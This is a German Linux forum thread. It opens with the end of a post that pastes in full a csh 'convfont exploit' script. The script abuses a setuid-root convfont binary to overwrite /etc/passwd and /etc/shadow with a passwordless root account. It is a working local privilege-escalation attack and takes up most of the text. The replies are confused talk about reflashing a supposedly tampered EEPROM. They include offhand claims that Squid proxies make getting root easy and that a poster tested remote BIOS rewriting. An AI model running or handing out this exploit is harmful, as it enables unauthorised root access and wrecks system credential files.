    # It has been tested on Slackware 2.0 and Slackware 3.0 setups. If there 
    # are any problems then:
    
    # 1) Check to see if convfont is installed (part of the svgalib)
    # 2) Check it is setuid root
    # 3) Make sure it *is* a Linux system :)
    
    #!/bin/csh
    
    echo "convfont exploit - by Squidge"
    echo "squidge@onyx.infonexus.com"
    echo " "
    echo "this will get you root by exploiting a hole in /usr/bin/convfont"
    
    #NOTE: If this auto-detect screws up, alter the variable PW_TYPE
    #      PW_TYPE = "plain" is for a normal /etc/passwd
    #      PW_TYPE = "shadow" is for a shadow /etc/passwd /etc/shadow combo
    
    setenv PATH .:/bin:/usr/bin:/sbin:/usr/sbin 
    echo " "
    echo "determining system type"
    
    if ( -e /etc/shadow ) then		# aha ! is a shadow system
    	echo "found a shadow password system. good job we're ueberhackers :)"
    	set PW_TYPE = shadow
    else
    	echo "found a normal password system. make some effort, mr root !"
    	set PW_TYPE = plain
    endif
    
    set loop = 0
    set limit = 100
    
    echo > /tmp/passwd root::0:0:Squidge is an Ueberhacker:/:/bin/sh
    
    if ( $PW_TYPE == "shadow" ) then
    	echo > /tmp/shadow root::9566:0:99999:14:::
    endif
    echo "building passwd entry. please wait."
    while ( $loop < $limit )
    	@ loop++
    	echo >> /tmp/passwd "                              "
    	echo >> /tmp/shadow "                              "
    	echo -n .
    end
    echo " "
    echo "installing fake passwds"
    echo "backing up /etc/passwd to /tmp"
    
    cp /etc/passwd /tmp/real.passwd
    
    if ( $PW_TYPE == "shadow" ) then
    	echo "unable to backup /etc/shadow tho, as it is mode 600"
    endif
    
    convfont /tmp/passwd 32 /etc/passwd > /dev/null
    convfont /tmp/shadow 32 /etc/shadow > /dev/null
    
    if ( $status != 0 ) then
    	echo "\!\!\! warning. Something dodgy occured. It could be:"
    	echo "    convfont isn't installed"
    	echo "    convfont isn't setuid root"
    	exit
    endif
    
    echo "now return to a login prompt, and type root. you don't need a password"
    echo "be sensible, and remember: squidge - The Guild"
    echo "                           *******************"
    rm -f /tmp/passwd /tmp/shadow
    so ich hoffe ihr koennt mir weiterhelfen, ansonstehn sehe ich schwarz für den pc :-(

    hiiilllffeeeruf

    danke

    gruss an alle
    ich lerne um zu verstehen, ich verstehe um zu lernen.

  2. #2
    Moderator
    Registriert seit
    May 2002
    Ort
    Dortmund
    Beiträge
    1.407
    Hallo howbye,

    was ist nun Dein Problem?

    Harry
    Wer einen Fehler findet, der darf ihn gerne behalten ;)
    http://harry.homelinux.org - iptables Generator & mehr

  3. #3
    Registrierter Benutzer Avatar von rabenkind
    Registriert seit
    Nov 2001
    Ort
    Düsseldorf
    Beiträge
    419

    eeprom

    hi howbye

    wenn ich dich richtig interpretiere hast du ein gecracktes eeprom das du wieder in den originalzustand bringen möchtest, richtig?

    wenn das richtig ist, dann programmier ihn doch einfach neu (sprich eeprombrenner), den eeprom löschen und mit einer cleanen datei neu brennen. wo ist da bitte ein problem?

    ansonsten ist mir nicht klar was du willst.

    greetz rabenkind )

    ps. das gehoert ins hardwareforum
    !!!selber denken macht schlau!!!
    Anarchie rulez!

  4. #4
    Moderator
    Registriert seit
    May 2002
    Ort
    Dortmund
    Beiträge
    1.407

    Re: eeprom

    Original geschrieben von rabenkind
    ps. das gehoert ins hardwareforum
    Jawohl!

    Harry
    Wer einen Fehler findet, der darf ihn gerne behalten ;)
    http://harry.homelinux.org - iptables Generator & mehr

  5. #5
    howbye71
    Gast

    was muss ich tun ?

    hallo users



    da ich noch ein neuling bin und nicht mal wusste dass sowas möglich ist in den eprom zu schreiben, wende ich mich an euch

    kann mir jemand von euch sagen wie ich dieses ding da entfernen kann, darum habe ich auch die anleitung hineingedruckt, ich habe es nicht geschnalltz,,


    bitte wenn mir jemand helfen kannn, so dass ich es verstehen kann, habe linux seit 6 monaten, aber der proxy squid 2.2 & 2.3
    sind einfach zu einfach um die rootrecht zu erlangen mit der UID 0 und der UID 4 als lp daemon.

    ich büffelte nächtelang, da darf ich doch wohl noch eine frage stellen ? ich weiss wirklich nicht wie ich den chip (eprom)
    oder was auch immer löschen kann, aber ich bin gerne dazu bereit es zu lernen, und bitte merkt euch
    die shadow dateien koenen ohne weiteres gelesen werden, so einfach,,,hat vile bugs, ausser proxa squid 4.5 beta hat das
    problem überwunden,


    ich hoffe ich habe jetzt keinen stus erzählt, lerne nur aus büchern und internet, habe niemand der mir hilft..

    sorry für die frage und ein gruss an alle legalen users

    slick

  6. #6
    näbert
    Registriert seit
    Sep 2002
    Ort
    Ostschweiz, Kt. St. Gallen
    Beiträge
    268
    ich habe jetzt zwar nicht alles durchgelesen, aber eproms (bzw. eeproms) löscht man normalerweise mit einem programmer. dieser kann die (e)eproms auch wieder beschreiben. programmer hat jede einigermassen gute elektronik-bude und kosten halt auch geld...

  7. #7
    Registrierter Benutzer Avatar von rabenkind
    Registriert seit
    Nov 2001
    Ort
    Düsseldorf
    Beiträge
    419

    howbye oder howbye71

    hi to ?

    @howbye und howbye71

    wer ist jetzt wer oder habt ihr beide das selbe problem.

    also den eeprom in einen eeprom brenner einstecken und das original-file darauf brennen.

    dazu brauchst du entweder einen eeprombrenner (gibts zb. bei conrad) oder es ist ein flash-prom den kannst du mit einer diskette auf der die tools deines motherboard-herstellers sind neu beschreiben.

    wenn du dich da nicht auskennst gib uns die genaue bezeichnung deines motherboards und den hersteller, dann suche ich dir die seiten raus und sage dir was du machen musst.

    anschließend solltest du dir mal überlegen wie du deinen rechner besser absicherst, weil ein flash-prom quasi via internet bzw trojaner neu zu beschreiben lässt auf eklatante mängel in der sicherheit und konfiguration schließen. möglich ist dies aber ohne weiteres nur wenn du quasi alles scheunentor weit offen hast.
    selbst ein bios kann/sollte geschützt werden (passwort (natürlich wieder ein anderes als das für root , jumper, usw.).

    aber der typ der das gemacht hat, ist verdammt gut.
    ich habe um das zu können einige zeit gebraucht, und auch gedacht unter linux geht das nicht, aber man lernt nie aus, es ist möglich ich habe es jetzt selber via internet probiert, auf einem rechner mit suse7.2 der bei uns in der uni steht und wobei ich dessen root bin.

    greetz rabenkind )
    !!!selber denken macht schlau!!!
    Anarchie rulez!

Lesezeichen

Berechtigungen

  • Neue Themen erstellen: Nein
  • Themen beantworten: Nein
  • Anhänge hochladen: Nein
  • Beiträge bearbeiten: Nein
  •